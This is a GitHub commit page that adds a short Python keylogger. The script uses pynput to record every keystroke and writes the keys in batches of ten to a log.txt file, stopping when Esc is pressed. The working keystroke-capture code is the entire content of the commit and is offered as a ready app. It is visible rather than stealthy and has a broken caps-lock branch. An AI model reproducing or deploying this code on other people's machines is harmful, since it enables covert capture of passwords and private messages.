Skip to content

Commit

Permalink
Keylogger app with python
Browse files Browse the repository at this point in the history
  • Loading branch information
AvishkaWeebadde committed Oct 14, 2020
1 parent 444253b commit b397283
Show file tree
Hide file tree
Showing 2 changed files with 44 additions and 0 deletions.
44 changes: 44 additions & 0 deletions keylogger/keylogger.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []




def on_press(key):
global keys, count

keys.append(key)
count += 1
print("{0} pressed".format(key))
if count >= 10:
count = 0
write_file(keys)
keys = []


def on_release(key):
if key == Key.esc:
return False


def write_file(keys):
with open('log.txt', "a") as f:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
f.write('\t')
elif k.find("enter") > 0:
f.write('\n')
elif Key.caps_lock == 1:
k.upper()
f.write(k)
elif k.find("Key") == -1:
f.write(k)


with Listener(on_press=on_press, on_release=on_release) as listner:
listner.join()
Empty file added keylogger/log.txt
Empty file.

0 comments on commit b397283

Please sign in to comment.